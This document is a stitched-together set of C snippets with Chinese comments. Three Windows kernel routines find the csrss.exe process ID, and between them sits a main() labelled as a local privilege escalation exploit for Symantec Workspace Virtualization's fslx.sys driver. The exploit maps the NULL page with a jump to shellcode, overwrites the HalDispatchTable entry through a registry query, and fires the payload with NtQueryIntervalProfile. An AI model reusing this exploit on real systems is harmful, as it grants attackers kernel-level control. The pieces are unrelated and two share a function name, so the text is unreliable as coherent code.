HANDLE GetCsrPid()
{
HANDLE Process, hObject;
HANDLE CsrId = (HANDLE)0;
OBJECT_ATTRIBUTES obj;
CLIENT_ID cid;
UCHAR Buff[0x100];
POBJECT_NAME_INFORMATION ObjName = (PVOID)&Buff;
PSYSTEM_HANDLE_INFORMATION_EX Handles;
ULONG r;
Handles = GetInfoTable(SystemHandleInformation);
if (!Handles) return CsrId;
for (r = 0; r < Handles->NumberOfHandles; r++)
{
if (Handles->Information[r].ObjectTypeNumber == 21) //Port object
{
InitializeObjectAttributes(&obj, NULL, OBJ_KERNEL_HANDLE, NULL, NULL);
cid.UniqueProcess = (HANDLE)Handles->Information[r].ProcessId;
cid.UniqueThread = 0;
if (NT_SUCCESS(NtOpenProcess(&Process, PROCESS_DUP_HANDLE, &obj, &cid)))
{
if (NT_SUCCESS(ZwDuplicateObject(Process, (HANDLE)Handles->Information[r].Handle,NtCurrentProcess(), &hObject, 0, 0, DUPLICATE_SAME_ACCESS)))
{
if (NT_SUCCESS(ZwQueryObject(hObject, ObjectNameInformation, ObjName, 0x100, NULL)))
{
if (ObjName->Name.Buffer && !wcsncmp(L"\\Windows\\ApiPort", ObjName->Name.Buffer, 20))
{
CsrId = (HANDLE)Handles->Information[r].ProcessId;
}
}
ZwClose(hObject);
}
ZwClose(Process);
}
}
}
ExFreePool(Handles);
return CsrId;
}
///////////////////////////////////////////////////////////////////////////////////
//
// 功能实现：枚举Csrss.exe进程PID
// 输入参数：无
// 输出参数：返回Csrss.exe进程的PID
//
///////////////////////////////////////////////////////////////////////////////////
HANDLE GetCsrssPid()
{
NTSTATUS ntStatus;
HANDLE hProc, hObject;
HANDLE CsrssPid = (HANDLE)0;
OBJECT_ATTRIBUTES objAttr;
CLIENT_ID cid;
int i;
UNICODE_STRING ApiPortName;
POBJECT_NAME_INFORMATION ObjName;
PSYSTEM_HANDLE_INFORMATION_EX Handles;
RtlInitUnicodeString( &ApiPortName, L"\\Windows\\ApiPort" );
//获取句柄信息
Handles = GetInfoTable( SystemHandleInformation );
if( Handles == NULL )
{
DbgPrint("[GetCsrssPid]->GetInfoTable() Error\n");
return 0;
}
ObjName = ExAllocatePool( PagedPool, 0x2000 );
for( i = 0; i != Handles->NumberOfHandles; i++ )
{
if ( Handles->Information[i].ObjectTypeNumber == 21 ) //Port object，Win2kSP1下找不到21端口
{
InitializeObjectAttributes( &objAttr, NULL, OBJ_KERNEL_HANDLE, NULL, NULL );
cid.UniqueProcess = (HANDLE)Handles->Information[i].ProcessId;
cid.UniqueThread = 0;
//打开进程
ntStatus = ZwOpenProcess( &hProc, PROCESS_DUP_HANDLE, &objAttr, &cid );
if( NT_SUCCESS(ntStatus) )
{
//复制句柄
ntStatus = ZwDuplicateObject( hProc, (HANDLE)Handles->Information[i].Handle,
NtCurrentProcess(), &hObject, 0, 0, DUPLICATE_SAME_ACCESS );
if( NT_SUCCESS(ntStatus) )
{
//查询对象
ntStatus = ZwQueryObject( hObject, ObjectNameInformation, ObjName, 0x2000, NULL);
if( NT_SUCCESS(ntStatus) )
{
if (ObjName->Name.Buffer != NULL)
{
if ( wcsncmp( ApiPortName.Buffer, ObjName->Name.Buffer, 20 ) == 0 )
{
//获取Csrss.exe进程Pid
CsrssPid = (HANDLE)Handles->Information[i].ProcessId;
ZwClose( hProc );
ZwClose( hObject );
IxExFreePool( Handles );
IxExFreePool( ObjName );
return CsrssPid;
}
}
} else
DbgPrint("Error in Query Object\n");
ZwClose(hObject);
} else
DbgPrint("Error on duplicating object\n");
ZwClose(hProc);
} else
DbgPrint("Could not open process\n");
}
}
IxExFreePool( Handles );
IxExFreePool( ObjName );
return 0;
}
int main(int argc, char* argv[])
{
printf("Symantec Workspace Virtualization 6.4.1895.0 Local Privilege Escalation Exploit\n"
"fslx.sys <= 6.4.1895.0\n"
"\nBy MJ0011\n2013-7-17\[email protected]\nPRESS ENTER\n");
getchar();
PSYSTEM_MODULE_INFORMATION pinfo = (PSYSTEM_MODULE_INFORMATION)GetInfoTable(SystemModuleInformation);
if (pinfo==0)
{
printf("cannot get system info\n");
return 0 ;
}
if (!InbvInit(pinfo->Module[0].Base , strrchr(pinfo->Module[0].ImageName , '\\') + 1))
{
printf("cannot init inbv system!\n");
return 0 ;
}
pNtQueryValueKey NtQueryValueKey = (pNtQueryValueKey)GetProcAddress(GetModuleHandle("ntdll.dll") ,"NtQueryValueKey");
//alloc shellcode jump
PNT_ALLOCATE_VIRTUAL_MEMORY NTAllocateVM = (PNT_ALLOCATE_VIRTUAL_MEMORY)GetProcAddress(GetModuleHandle("ntdll.dll") , "NtAllocateVirtualMemory");
PVOID BaseAddress = (PVOID)0x1 ;
ULONG dwsize = 0x1000 ;
LONG status ;
status = NTAllocateVM
(
GetCurrentProcess() ,
&BaseAddress ,
0 ,
&dwsize ,
MEM_COMMIT | MEM_RESERVE ,
PAGE_READWRITE
);
if (status !=0)
{
printf("err alloc vm %08x\n", status);
getchar();
return 0 ;
}
//result length always <=0x800
//0~0x800: NOP
//0x800: shell code
memset((PVOID)0x0 , 0x90 , 0x1000);
*(BYTE*)((ULONG)0x800) = 0xe9 ;
*(ULONG*)((ULONG)0x801) = (ULONG)InbvShellCode - (ULONG)0x800 - 0x5 ;
//get haldispatchtable
HMODULE hntos = LoadLibrary(strrchr(pinfo->Module[0].ImageName , '\\')+1);
if (hntos == 0 )
{
printf("cannot load ntos\n");
getchar();
return 0 ;
}
PVOID pHalDispatchTable = GetProcAddress(hntos , "HalDispatchTable");
pHalDispatchTable = (PVOID)((ULONG)pHalDispatchTable - (ULONG)hntos);
pHalDispatchTable = (PVOID)((ULONG)pHalDispatchTable + (ULONG)pinfo->Module[0].Base);
PVOID xHalQuerySystemInformationAddr = (PVOID)((ULONG)pHalDispatchTable+ sizeof(ULONG));
FreeLibrary(hntos);
HKEY hkey ;
ULONG err = RegOpenKeyEx(HKEY_CURRENT_USER , "Software" , 0 , KEY_READ , &hkey);
if (err!=ERROR_SUCCESS)
{
printf("open key read failed %u\n" ,err);
getchar();
return 0 ;
}
HKEY hkey2 ;
err = RegOpenKeyEx(HKEY_CURRENT_USER , "Software" , 0 , KEY_WRITE , &hkey2);
if (err != ERROR_SUCCESS)
{
printf("open key write failed %u\n", err);
getchar();
return 0 ;
}
DWORD dd ;
err = RegSetValueEx(hkey2 , "123" , 0 , REG_DWORD , (CONST BYTE*)&dd , sizeof(DWORD));
if (err != ERROR_SUCCESS)
{
printf("set value %u\n" , err);
getchar();
return 0 ;
} BYTE buffer[100];
PVOID pbuf = buffer ;
UNICODE_STRING name ;
name.Buffer = NULL ;
name.Length = 0 ;
name.MaximumLength=0;
status = NtQueryValueKey(hkey , &name , 2 , pbuf , 100 , (PULONG)xHalQuerySystemInformationAddr );
//fire our shell code
pNtQueryIntervalProfile NtQueryIntervalProfile = (pNtQueryIntervalProfile)GetProcAddress(GetModuleHandle("ntdll.dll" ) , "NtQueryIntervalProfile");
NtQueryIntervalProfile(ProfileTotalIssues , 0 );
return 0;
}
//获取csrss.exe进程
NTSTATUS GetCsrssPid(HANDLE *CsrssPid)
{
NTSTATUS ntStatus = STATUS_UNSUCCESSFUL;
HANDLE Process, hObject;
ULONG CsrId = 0;
OBJECT_ATTRIBUTES obj;
CLIENT_ID cid;
POBJECT_NAME_INFORMATION ObjName;
UNICODE_STRING ApiPortName;
PSYSTEM_HANDLE_INFORMATION_EX Handles;
ULONG i;
PAGED_CODE();
RtlInitUnicodeString(&ApiPortName, L"\\Windows\\ApiPort");
Handles = (PSYSTEM_HANDLE_INFORMATION_EX)GetInfoTable( SystemHandleInformation );
if( Handles == NULL ) {
return STATUS_INSUFFICIENT_RESOURCES;
}
ObjName = (POBJECT_NAME_INFORMATION)ExAllocatePoolWithTag( PagedPool, 0x2000, INFO_MEM_TAG);
KdPrint(("SYS: Number of handles %d\n", Handles->NumberOfHandles));
for(i = 0; i < Handles->NumberOfHandles; i++) {
//打开的对象的类型是否为21 Port object
if (Handles->Information[i].ObjectTypeNumber == 21) {
InitializeObjectAttributes(&obj, NULL, OBJ_KERNEL_HANDLE, NULL, NULL);
cid.UniqueProcess = (HANDLE)Handles->Information[i].ProcessId;
cid.UniqueThread = 0;
ntStatus = ZwOpenProcess(&Process, PROCESS_DUP_HANDLE, &obj, &cid);
if(NT_SUCCESS(ntStatus)) {
ntStatus = ZwDuplicateObject(
Process,
(HANDLE)Handles->Information[i].Handle,
NtCurrentProcess(),
&hObject,
0,
0,
DUPLICATE_SAME_ACCESS);
if(NT_SUCCESS(ntStatus)){
ntStatus = ZwQueryObject(hObject, (OBJECT_INFORMATION_CLASS)ObjectNameInformation, ObjName, 0x2000, NULL);
if(NT_SUCCESS(ntStatus)) {
if (ObjName->Name.Buffer != NULL) {
if (RtlCompareUnicodeString(&ApiPortName, &ObjName->Name, TRUE) == 0) {
KdPrint(("SYS: Csrss PID:%d\n", Handles->Information[i].ProcessId));
KdPrint(("SYS: Csrss Port - %wZ\n", &ObjName->Name));
CsrId = Handles->Information[i].ProcessId;
}
}
} else {
KdPrint(("SYS: Error in Query Object\n"));
}
ZwClose(hObject);
} else {
KdPrint(("SYS: Error on duplicating object\n"));
}
ZwClose(Process);
} else {
KdPrint(("SYS: Could not open process\n"));
}
}
}
ExFreePoolWithTag( Handles, INFO_MEM_TAG);
ExFreePoolWithTag(ObjName, INFO_MEM_TAG);
*CsrssPid = (HANDLE)CsrId;
return ntStatus;
}
